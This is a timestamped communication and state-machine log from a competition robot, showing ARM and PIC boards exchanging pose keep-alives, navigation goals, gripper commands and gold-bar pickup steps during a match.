l(['3.87','PIC','# \x00\x1b[3\x001m\x002330,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002410,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002490,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC','# \x00\x1b[3\x001m\x002570,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['3.87','PIC',Resettle(axis = 0, position = 0.310000002384, angle = 1.57079637051)])
l(['3.88','ARM',Resettle(axis = 1, position = 2.636, angle = 1.57079632679)])
l(['3.88','PIC',Resettle(axis = 1, position = 2.63599991798, angle = 1.57079637051)])
l(['3.88','ARM','# Poping sub-state DefinePosition'])
l(['3.88','ARM','# Switching to state WaitStart'])
l(['3.91','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599991798, 1.57079637051), match_started = False, match_time = 0)])
l(['3.91','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599991798, 1.57079637051), match_started = False, match_time = 0)])
l(['4.14','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599991798, 1.57079648972), match_started = False, match_time = 0)])
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l(['75.63','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.6359872818, 1.57085096836), match_started = False, match_time = 0)])
l(['75.64','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.6359872818, 1.57085096836), match_started = False, match_time = 0)])
l(['75.88','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['75.89','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.13','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.14','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.38','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.39','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.63','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.64','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.88','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['76.89','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599038124, 1.57082426548), match_started = False, match_time = 0)])
l(['77.13','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.13','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.38','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.38','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.63','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.63','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.88','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['77.88','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.13','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.13','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.38','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.38','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.63','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.64','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.88','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['78.88','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.13','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.13','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.38','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.38','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.63','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.63','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.88','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['79.88','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599348068, 1.5707975626), match_started = False, match_time = 0)])
l(['80.09','PIC',Start(team = 1)])
l(['80.09','ARM','# Pushing sub-state DefinePosition'])
l(['80.09','ARM',Resettle(axis = 0, position = 0.31, angle = 1.57079632679)])
l(['80.10','PIC',Resettle(axis = 0, position = 0.310000002384, angle = 1.57079637051)])
l(['80.10','ARM',Resettle(axis = 1, position = 2.636, angle = 1.57079632679)])
l(['80.10','PIC',Resettle(axis = 1, position = 2.63599991798, angle = 1.57079637051)])
l(['80.10','ARM','# Poping sub-state DefinePosition'])
l(['80.10','ARM','# Switching to state FindNextGoal'])
l(['80.10','ARM','# Calling GoalManager'])
l(['80.10','ARM','# Evaluate goal MAP'])
l(['80.10','ARM','# Evaluate goal SELF_NORTH'])
l(['80.11','ARM','# Evaluate goal SELF_NORTH'])
l(['80.11','ARM','# Evaluate goal SELF_SOUTH'])
l(['80.11','ARM','# Evaluate goal SELF_SOUTH'])
l(['80.11','ARM','# Evaluate goal OTHER_NORTH'])
l(['80.11','ARM','# Evaluate goal OTHER_NORTH'])
l(['80.11','ARM','# Evaluate goal OTHER_SOUTH'])
l(['80.12','ARM','# Evaluate goal OTHER_SOUTH'])
l(['80.13','ARM','# Goal SELF_NORTH nav cost = 15.4852800369'])
l(['80.13','ARM','# Goal MAP nav cost = 25.0'])
l(['80.13','ARM','# Goal SELF_NORTH nav cost = 27.8994922638'])
l(['80.13','ARM','# Goal OTHER_NORTH nav cost = 35.8994941711'])
l(['80.13','ARM','# Goal SELF_SOUTH nav cost = 36.0710678101'])
l(['80.13','ARM','# Goal OTHER_NORTH nav cost = 47.8994979858'])
l(['80.13','ARM','# Goal SELF_SOUTH nav cost = 50.7279205322'])
l(['80.13','ARM','# Goal OTHER_SOUTH nav cost = 57.8994979858'])
l(['80.13','ARM','# Goal OTHER_SOUTH nav cost = 69.0710754395'])
l(['80.13','ARM','# Goals by score : [\'MAP:2.0\', \'SELF_NORTH:1.0\', \'SELF_NORTH:6.0\', \'SELF_SOUTH:11.0\', \'SELF_SOUTH:16.0\', \'OTHER_NORTH:11.0\', \'OTHER_NORTH:16.0\', \'OTHER_SOUTH:21.0\', \'OTHER_SOUTH:24.0\']'])
l(['80.13','ARM','# Best goal is SELF_NORTH with score 1.0'])
l(['80.13','ARM','# Next goal is SELF_NORTH'])
l(['80.13','ARM','# Time taken for decision taking 26.493 ms'])
l(['80.13','ARM','# Pushing sub-state Navigate'])
l(['80.13','ARM','# Compute route from (0.310000002384, 2.63599348068) to (0.586, 2.14)'])
l(['80.24','ARM','# Route computed. Length: 0.611600699319, Cost: 0.611600699319'])
l(['80.25','ARM','# Pushing sub-state Sequence'])
l(['80.25','ARM','# Pushing sub-state Antiblocking'])
l(['80.25','ARM',EnableAntiBlocking()])
l(['80.25','PIC',KeepAlive(current_pose = Pose(0.310000002384, 2.63599991798, 1.57079637051), match_started = True, match_time = 40)])
l(['80.25','ARM',KeepAlive(current_pose = Pose(0.310000002384, 2.63599991798, 1.57079637051), match_started = True, match_time = 40)])
l(['80.25','PIC',EnableAntiBlocking()])
l(['80.25','ARM','# Poping sub-state Antiblocking'])
l(['80.25','ARM','# Pushing sub-state TrajectoryWalk'])
l(['80.26','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.315, 2.4, None)])])
l(['80.28','PIC',GotoStarted()])
l(['80.38','PIC',KeepAlive(current_pose = Pose(0.310000598431, 2.63464593887, 1.57151842117), match_started = True, match_time = 290)])
l(['80.63','PIC',KeepAlive(current_pose = Pose(0.310322999954, 2.59910941124, 1.58536815643), match_started = True, match_time = 540)])
l(['80.63','ARM',KeepAlive(current_pose = Pose(0.310322999954, 2.59910941124, 1.58536815643), match_started = True, match_time = 540)])
l(['80.88','PIC',KeepAlive(current_pose = Pose(0.311930954456, 2.51910614967, 1.58972632885), match_started = True, match_time = 790)])
l(['80.88','ARM',KeepAlive(current_pose = Pose(0.311930954456, 2.51910614967, 1.58972632885), match_started = True, match_time = 790)])
l(['81.13','PIC',KeepAlive(current_pose = Pose(0.313167303801, 2.44839000702, 1.58996701241), match_started = True, match_time = 1040)])
l(['81.13','ARM',KeepAlive(current_pose = Pose(0.313167303801, 2.44839000702, 1.58996701241), match_started = True, match_time = 1040)])
l(['81.38','PIC',KeepAlive(current_pose = Pose(0.313965857029, 2.40881705284, 1.59266746044), match_started = True, match_time = 1290)])
l(['81.38','ARM',KeepAlive(current_pose = Pose(0.313965857029, 2.40881705284, 1.59266746044), match_started = True, match_time = 1290)])
l(['81.44','PIC',GotoFinished(reason = 0, current_pose = Pose(0.31410574913, 2.40260124207, 1.59424495697), current_point_index = 1)])
l(['81.44','ARM',Goto(movement = 0, direction = 1, angle = 2.37357924404, points = [])])
l(['81.47','PIC',GotoStarted()])
l(['81.63','PIC',KeepAlive(current_pose = Pose(0.314090788364, 2.40180563927, 1.63566040993), match_started = True, match_time = 1540)])
l(['81.63','ARM',KeepAlive(current_pose = Pose(0.314090788364, 2.40180563927, 1.63566040993), match_started = True, match_time = 1540)])
l(['81.88','PIC',KeepAlive(current_pose = Pose(0.313908696175, 2.40281224251, 1.90877795219), match_started = True, match_time = 1790)])
l(['81.88','ARM',KeepAlive(current_pose = Pose(0.313908696175, 2.40281224251, 1.90877795219), match_started = True, match_time = 1790)])
l(['82.13','PIC',KeepAlive(current_pose = Pose(0.313453823328, 2.40372800827, 2.2171087265), match_started = True, match_time = 2040)])
l(['82.13','ARM',KeepAlive(current_pose = Pose(0.313453823328, 2.40372800827, 2.2171087265), match_started = True, match_time = 2040)])
l(['82.32','PIC',GotoFinished(reason = 0, current_pose = Pose(0.313341021538, 2.40385460854, 2.36154198647), current_point_index = 1)])
l(['82.32','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.586, 2.14, None)])])
l(['82.36','PIC',GotoStarted()])
l(['82.39','PIC',KeepAlive(current_pose = Pose(0.313452094793, 2.40374803543, 2.37942886353), match_started = True, match_time = 2290)])
l(['82.39','ARM',KeepAlive(current_pose = Pose(0.313452094793, 2.40374803543, 2.37942886353), match_started = True, match_time = 2290)])
l(['82.63','PIC',KeepAlive(current_pose = Pose(0.331205308437, 2.38635134697, 2.35787916183), match_started = True, match_time = 2540)])
l(['82.63','ARM',KeepAlive(current_pose = Pose(0.331205308437, 2.38635134697, 2.35787916183), match_started = True, match_time = 2540)])
l(['82.88','PIC',KeepAlive(current_pose = Pose(0.390085577965, 2.32757687569, 2.37274551392), match_started = True, match_time = 2790)])
l(['82.88','ARM',KeepAlive(current_pose = Pose(0.390085577965, 2.32757687569, 2.37274551392), match_started = True, match_time = 2790)])
l(['83.13','PIC',KeepAlive(current_pose = Pose(0.475523561239, 2.24601912498, 2.36771917343), match_started = True, match_time = 3040)])
l(['83.13','ARM',KeepAlive(current_pose = Pose(0.475523561239, 2.24601912498, 2.36771917343), match_started = True, match_time = 3040)])
l(['83.38','PIC',KeepAlive(current_pose = Pose(0.542821884155, 2.18075895309, 2.37777209282), match_started = True, match_time = 3290)])
l(['83.38','ARM',KeepAlive(current_pose = Pose(0.542821884155, 2.18075895309, 2.37777209282), match_started = True, match_time = 3290)])
l(['83.63','PIC',KeepAlive(current_pose = Pose(0.576462686062, 2.14855027199, 2.37993788719), match_started = True, match_time = 3540)])
l(['83.63','ARM',KeepAlive(current_pose = Pose(0.576462686062, 2.14855027199, 2.37993788719), match_started = True, match_time = 3540)])
l(['83.72','PIC',GotoFinished(reason = 0, current_pose = Pose(0.583821415901, 2.14154028893, 2.3818359375), current_point_index = 1)])
l(['83.72','ARM','# Poping sub-state TrajectoryWalk'])
l(['83.72','ARM','# Pushing sub-state Antiblocking'])
l(['83.72','ARM',DisableAntiBlocking()])
l(['83.72','PIC',DisableAntiBlocking()])
l(['83.73','ARM','# Poping sub-state Antiblocking'])
l(['83.73','ARM','# Poping sub-state Sequence'])
l(['83.73','ARM','# Poping sub-state Navigate'])
l(['83.73','ARM','# Pushing sub-state TakeGoldBar'])
l(['83.73','ARM','# Pushing sub-state TrajectoryWalk'])
l(['83.73','ARM',Goto(movement = 0, direction = 1, angle = 1.57981562968, points = [])])
l(['83.76','PIC',GotoStarted()])
l(['83.88','PIC',KeepAlive(current_pose = Pose(0.585979819298, 2.13949322701, 2.35389566422), match_started = True, match_time = 3790)])
l(['83.88','ARM',KeepAlive(current_pose = Pose(0.585979819298, 2.13949322701, 2.35389566422), match_started = True, match_time = 3790)])
l(['84.13','PIC',KeepAlive(current_pose = Pose(0.586142659187, 2.13925027847, 2.12751412392), match_started = True, match_time = 4040)])
l(['84.13','ARM',KeepAlive(current_pose = Pose(0.586142659187, 2.13925027847, 2.12751412392), match_started = True, match_time = 4040)])
l(['84.38','PIC',KeepAlive(current_pose = Pose(0.586256206036, 2.13907814026, 1.81396996975), match_started = True, match_time = 4290)])
l(['84.38','ARM',KeepAlive(current_pose = Pose(0.586256206036, 2.13907814026, 1.81396996975), match_started = True, match_time = 4290)])
l(['84.63','PIC',KeepAlive(current_pose = Pose(0.586260080338, 2.13904380798, 1.61437857151), match_started = True, match_time = 4540)])
l(['84.63','ARM',KeepAlive(current_pose = Pose(0.586260080338, 2.13904380798, 1.61437857151), match_started = True, match_time = 4540)])
l(['84.64','PIC',GotoFinished(reason = 0, current_pose = Pose(0.586259663105, 2.13905310631, 1.60911142826), current_point_index = 1)])
l(['84.64','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.586, 1.9, None)])])
l(['84.67','PIC',GotoStarted()])
l(['84.88','PIC',KeepAlive(current_pose = Pose(0.586461484432, 2.13090896606, 1.59395158291), match_started = True, match_time = 4790)])
l(['84.88','ARM',KeepAlive(current_pose = Pose(0.586461484432, 2.13090896606, 1.59395158291), match_started = True, match_time = 4790)])
l(['85.13','PIC',KeepAlive(current_pose = Pose(0.586534798145, 2.07237458229, 1.55943405628), match_started = True, match_time = 5040)])
l(['85.13','ARM',KeepAlive(current_pose = Pose(0.586534798145, 2.07237458229, 1.55943405628), match_started = True, match_time = 5040)])
l(['85.38','PIC',KeepAlive(current_pose = Pose(0.585670769215, 1.98639011383, 1.56405937672), match_started = True, match_time = 5290)])
l(['85.38','ARM',KeepAlive(current_pose = Pose(0.585670769215, 1.98639011383, 1.56405937672), match_started = True, match_time = 5290)])
l(['85.63','PIC',KeepAlive(current_pose = Pose(0.585337042809, 1.93228006363, 1.56593060493), match_started = True, match_time = 5540)])
l(['85.63','ARM',KeepAlive(current_pose = Pose(0.585337042809, 1.93228006363, 1.56593060493), match_started = True, match_time = 5540)])
l(['85.86','PIC',GotoFinished(reason = 0, current_pose = Pose(0.585238218307, 1.90234065056, 1.56903231144), current_point_index = 1)])
l(['85.86','ARM','# Pushing sub-state Antiblocking'])
l(['85.86','ARM',EnableAntiBlocking()])
l(['85.87','PIC',EnableAntiBlocking()])
l(['85.87','ARM','# Poping sub-state Antiblocking'])
l(['85.87','ARM',Goto(movement = 0, direction = 1, angle = 0.0, points = [])])
l(['85.90','PIC',GotoStarted()])
l(['85.94','PIC',KeepAlive(current_pose = Pose(0.585234820843, 1.90011656284, 1.57015526295), match_started = True, match_time = 5809)])
l(['85.94','ARM',KeepAlive(current_pose = Pose(0.585234820843, 1.90011656284, 1.57015526295), match_started = True, match_time = 5809)])
l(['86.13','PIC',KeepAlive(current_pose = Pose(0.58525288105, 1.9002327919, 1.46708440781), match_started = True, match_time = 6040)])
l(['86.38','PIC',KeepAlive(current_pose = Pose(0.584901809692, 1.89909744263, 1.02670001984), match_started = True, match_time = 6290)])
l(['86.38','ARM',KeepAlive(current_pose = Pose(0.584901809692, 1.89909744263, 1.02670001984), match_started = True, match_time = 6290)])
l(['86.63','PIC',KeepAlive(current_pose = Pose(0.584074735641, 1.89831662178, 0.491238862276), match_started = True, match_time = 6540)])
l(['86.63','ARM',KeepAlive(current_pose = Pose(0.584074735641, 1.89831662178, 0.491238862276), match_started = True, match_time = 6540)])
l(['86.88','PIC',KeepAlive(current_pose = Pose(0.583090186119, 1.89796864986, 0.165422320366), match_started = True, match_time = 6790)])
l(['86.88','ARM',KeepAlive(current_pose = Pose(0.583090186119, 1.89796864986, 0.165422320366), match_started = True, match_time = 6790)])
l(['87.06','PIC',GotoFinished(reason = 0, current_pose = Pose(0.58290296793, 1.89794719219, 0.0456407256424), current_point_index = 1)])
l(['87.06','ARM','# Pushing sub-state Antiblocking'])
l(['87.06','ARM',DisableAntiBlocking()])
l(['87.07','PIC',DisableAntiBlocking()])
l(['87.07','ARM','# Poping sub-state Antiblocking'])
l(['87.07','ARM','# Poping sub-state TrajectoryWalk'])
l(['87.07','ARM','# Pushing sub-state DetectAndTakeGoldbar'])
l(['87.07','ARM','# Pushing sub-state GetGoldBarStatus'])
l(['87.07','ARM',GoldBarDetection(status = 0)])
l(['87.07','PIC',GoldBarDetection(status = 1)])
l(['87.07','ARM','# Poping sub-state GetGoldBarStatus'])
l(['87.07','ARM','# Returned from substate'])
l(['87.07','ARM','# Goldbar was present'])
l(['87.07','ARM','# Pushing sub-state TrajectoryWalk'])
l(['87.07','ARM','# Pushing sub-state Gripper'])
l(['87.08','ARM',GripperControl(move = 1, which = 3)])
l(['87.13','PIC',KeepAlive(current_pose = Pose(0.582824468613, 1.89794409275, 0.0315503515303), match_started = True, match_time = 7040)])
l(['87.13','ARM',KeepAlive(current_pose = Pose(0.582824468613, 1.89794409275, 0.0315503515303), match_started = True, match_time = 7040)])
l(['87.38','PIC',KeepAlive(current_pose = Pose(0.582780599594, 1.89794242382, 0.0352935306728), match_started = True, match_time = 7290)])
l(['87.38','ARM',KeepAlive(current_pose = Pose(0.582780599594, 1.89794242382, 0.0352935306728), match_started = True, match_time = 7290)])
l(['87.62','PIC',GripperControl(move = 1, which = 3)])
l(['87.62','ARM','# Poping sub-state Gripper'])
l(['87.62','ARM',Goto(movement = 0, direction = 1, angle = 0.0122308935393, points = [])])
l(['87.65','PIC',GotoStarted()])
l(['87.69','PIC',KeepAlive(current_pose = Pose(0.582667469978, 1.8979382515, 0.0356678515673), match_started = True, match_time = 7559)])
l(['87.69','ARM',KeepAlive(current_pose = Pose(0.582667469978, 1.8979382515, 0.0356678515673), match_started = True, match_time = 7559)])
l(['87.79','PIC',GotoFinished(reason = 0, current_pose = Pose(0.582918524742, 1.89794671535, 0.0319781526923), current_point_index = 1)])
l(['87.79','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(0.751, 1.9, None)])])
l(['87.84','PIC',GotoStarted()])
l(['87.88','PIC',KeepAlive(current_pose = Pose(0.58305978775, 1.8979511261, 0.0321653112769), match_started = True, match_time = 7790)])
l(['88.13','PIC',KeepAlive(current_pose = Pose(0.605863392353, 1.89873814583, 0.0274328757077), match_started = True, match_time = 8040)])
l(['88.13','ARM',KeepAlive(current_pose = Pose(0.605863392353, 1.89873814583, 0.0274328757077), match_started = True, match_time = 8040)])
l(['88.39','PIC',KeepAlive(current_pose = Pose(0.665306389332, 1.89968883991, 0.0102677522227), match_started = True, match_time = 8290)])
l(['88.39','ARM',KeepAlive(current_pose = Pose(0.665306389332, 1.89968883991, 0.0102677522227), match_started = True, match_time = 8290)])
l(['88.63','PIC',KeepAlive(current_pose = Pose(0.696485161781, 1.89998471737, -0.00949085969478), match_started = True, match_time = 8540)])
l(['88.63','ARM',KeepAlive(current_pose = Pose(0.696485161781, 1.89998471737, -0.00949085969478), match_started = True, match_time = 8540)])
l(['88.88','PIC',KeepAlive(current_pose = Pose(0.696485161781, 1.89998471737, -0.00949086155742), match_started = True, match_time = 8790)])
l(['88.88','ARM',KeepAlive(current_pose = Pose(0.696485161781, 1.89998471737, -0.00949086155742), match_started = True, match_time = 8790)])
l(['89.13','PIC',KeepAlive(current_pose = Pose(0.696488380432, 1.89998471737, -0.00946412514895), match_started = True, match_time = 9040)])
l(['89.13','ARM',KeepAlive(current_pose = Pose(0.696488380432, 1.89998471737, -0.00946412514895), match_started = True, match_time = 9040)])
l(['89.34','PIC',GotoFinished(reason = 0, current_pose = Pose(0.696491420269, 1.89998471737, -0.00949086248875), current_point_index = 1)])
l(['89.34','ARM','# Pushing sub-state Gripper'])
l(['89.34','ARM',GripperControl(move = 0, which = 3)])
l(['89.38','PIC',KeepAlive(current_pose = Pose(0.696482002735, 1.89998471737, -0.00946412608027), match_started = True, match_time = 9290)])
l(['89.38','ARM',KeepAlive(current_pose = Pose(0.696482002735, 1.89998471737, -0.00946412608027), match_started = True, match_time = 9290)])
l(['89.63','PIC',KeepAlive(current_pose = Pose(0.696284115314, 1.8999863863, -0.0095978109166), match_started = True, match_time = 9540)])
l(['89.63','ARM',KeepAlive(current_pose = Pose(0.696284115314, 1.8999863863, -0.0095978109166), match_started = True, match_time = 9540)])
l(['89.88','PIC',KeepAlive(current_pose = Pose(0.696252703667, 1.89998686314, -0.00965128373355), match_started = True, match_time = 9790)])
l(['89.88','ARM',KeepAlive(current_pose = Pose(0.696252703667, 1.89998686314, -0.00965128373355), match_started = True, match_time = 9790)])
l(['90.13','PIC',KeepAlive(current_pose = Pose(0.69621181488, 1.89998745918, -0.00973149389029), match_started = True, match_time = 10040)])
l(['90.13','ARM',KeepAlive(current_pose = Pose(0.69621181488, 1.89998745918, -0.00973149389029), match_started = True, match_time = 10040)])
l(['90.16','PIC',GripperControl(move = 0, which = 3)])
l(['90.16','ARM','# Poping sub-state Gripper'])
l(['90.16','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.586, 1.9, None)])])
l(['90.20','PIC',GotoStarted()])
l(['90.38','PIC',KeepAlive(current_pose = Pose(0.688995957375, 1.90005469322, -0.00917001720518), match_started = True, match_time = 10290)])
l(['90.38','ARM',KeepAlive(current_pose = Pose(0.688995957375, 1.90005469322, -0.00917001720518), match_started = True, match_time = 10290)])
l(['90.47','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['90.59','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['90.63','PIC',KeepAlive(current_pose = Pose(0.652272760868, 1.90042674541, -0.0106672877446), match_started = True, match_time = 10540)])
l(['90.63','ARM',KeepAlive(current_pose = Pose(0.652272760868, 1.90042674541, -0.0106672877446), match_started = True, match_time = 10540)])
l(['90.71','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['90.83','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['90.88','PIC',KeepAlive(current_pose = Pose(0.612442016602, 1.90075278282, -0.00384936481714), match_started = True, match_time = 10790)])
l(['90.88','ARM',KeepAlive(current_pose = Pose(0.612442016602, 1.90075278282, -0.00384936481714), match_started = True, match_time = 10790)])
l(['90.95','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['91.07','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['91.12','PIC',GotoFinished(reason = 0, current_pose = Pose(0.588267624378, 1.90079951286, 0.00168518582359), current_point_index = 1)])
l(['91.12','ARM','# Poping sub-state TrajectoryWalk'])
l(['91.13','ARM','# Returned from substate'])
l(['91.13','ARM','# Goal done : SELF_NORTH'])
l(['91.13','ARM','# Poping sub-state DetectAndTakeGoldbar'])
l(['91.13','ARM','# Poping sub-state TakeGoldBar'])
l(['91.13','ARM','# Switching to state FindNextGoal'])
l(['91.13','ARM','# Calling GoalManager'])
l(['91.13','ARM','# OpponentDetector: enabling'])
l(['91.13','ARM','# Evaluate goal MAP'])
l(['91.13','ARM','# Evaluate goal DEPOSIT_CAPTAIN'])
l(['91.13','ARM','# Evaluate goal DEPOSIT_2'])
l(['91.13','ARM','# Evaluate goal DEPOSIT_3'])
l(['91.13','ARM','# Evaluate goal DEPOSIT_4'])
l(['91.13','ARM','# Goal MAP nav cost = 9.89949417114'])
l(['91.13','ARM','# Goal DEPOSIT_CAPTAIN nav cost = 14.8994941711'])
l(['91.13','ARM','# Goal DEPOSIT_3 nav cost = 18.0710659027'])
l(['91.13','ARM','# Goal DEPOSIT_2 nav cost = 19.3137054443'])
l(['91.13','ARM','# Goal DEPOSIT_4 nav cost = 20.7279186249'])
l(['91.13','ARM','# Goals by score : [\'MAP:1.0\', \'DEPOSIT_CAPTAIN:2.0\', \'DEPOSIT_2:8.0\', \'DEPOSIT_3:7.0\', \'DEPOSIT_4:12.0\']'])
l(['91.13','ARM','# Best goal is MAP with score 1.0'])
l(['91.13','ARM','# Next goal is MAP'])
l(['91.13','ARM','# Time taken for decision taking 6.90999999999 ms'])
l(['91.14','ARM','# Pushing sub-state Navigate'])
l(['91.14','ARM','# Compute route from (0.588267624378, 1.90079951286) to (0.31, 1.63)'])
l(['91.28','ARM','# Route computed. Length: 0.388285007364, Cost: 0.388285007364'])
l(['91.28','ARM','# Pushing sub-state Sequence'])
l(['91.28','ARM','# Pushing sub-state Antiblocking'])
l(['91.28','ARM',EnableAntiBlocking()])
l(['91.29','PIC',KeepAlive(current_pose = Pose(0.587589025497, 1.90079832077, 0.00248729460873), match_started = True, match_time = 11040)])
l(['91.29','ARM',KeepAlive(current_pose = Pose(0.587589025497, 1.90079832077, 0.00248729460873), match_started = True, match_time = 11040)])
l(['91.29','PIC',EnableAntiBlocking()])
l(['91.29','ARM','# Poping sub-state Antiblocking'])
l(['91.29','ARM','# Pushing sub-state TrajectoryWalk'])
l(['91.29','ARM',Goto(movement = 0, direction = 1, angle = 0.773015752114, points = [])])
l(['91.32','PIC',GotoStarted()])
l(['91.38','PIC',KeepAlive(current_pose = Pose(0.586769104004, 1.90079545975, 0.00342308799736), match_started = True, match_time = 11290)])
l(['91.43','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['91.55','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['91.63','PIC',KeepAlive(current_pose = Pose(0.587728142738, 1.90084791183, 0.127963840961), match_started = True, match_time = 11540)])
l(['91.63','ARM',KeepAlive(current_pose = Pose(0.587728142738, 1.90084791183, 0.127963840961), match_started = True, match_time = 11540)])
l(['91.88','PIC',KeepAlive(current_pose = Pose(0.589013040066, 1.90120279789, 0.443406462669), match_started = True, match_time = 11790)])
l(['91.88','ARM',KeepAlive(current_pose = Pose(0.589013040066, 1.90120279789, 0.443406462669), match_started = True, match_time = 11790)])
l(['92.13','PIC',KeepAlive(current_pose = Pose(0.589010536671, 1.90117716789, 0.724171280861), match_started = True, match_time = 12040)])
l(['92.13','ARM',KeepAlive(current_pose = Pose(0.589010536671, 1.90117716789, 0.724171280861), match_started = True, match_time = 12040)])
l(['92.19','PIC',GotoFinished(reason = 0, current_pose = Pose(0.588848590851, 1.90102851391, 0.76689696312), current_point_index = 1)])
l(['92.19','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.31, 1.63, None)])])
l(['92.23','PIC',GotoStarted()])
l(['92.26','PIC',TurretDetect(distance = 1, angle = 3, robot = 0)])
l(['92.38','PIC',KeepAlive(current_pose = Pose(0.583935976028, 1.89614450932, 0.778580963612), match_started = True, match_time = 12290)])
l(['92.38','ARM',KeepAlive(current_pose = Pose(0.583935976028, 1.89614450932, 0.778580963612), match_started = True, match_time = 12290)])
l(['92.63','PIC',KeepAlive(current_pose = Pose(0.538880586624, 1.85251426697, 0.767351329327), match_started = True, match_time = 12540)])
l(['92.63','ARM',KeepAlive(current_pose = Pose(0.538880586624, 1.85251426697, 0.767351329327), match_started = True, match_time = 12540)])
l(['92.88','PIC',KeepAlive(current_pose = Pose(0.461263656616, 1.7773424387, 0.768527746201), match_started = True, match_time = 12790)])
l(['92.88','ARM',KeepAlive(current_pose = Pose(0.461263656616, 1.7773424387, 0.768527746201), match_started = True, match_time = 12790)])
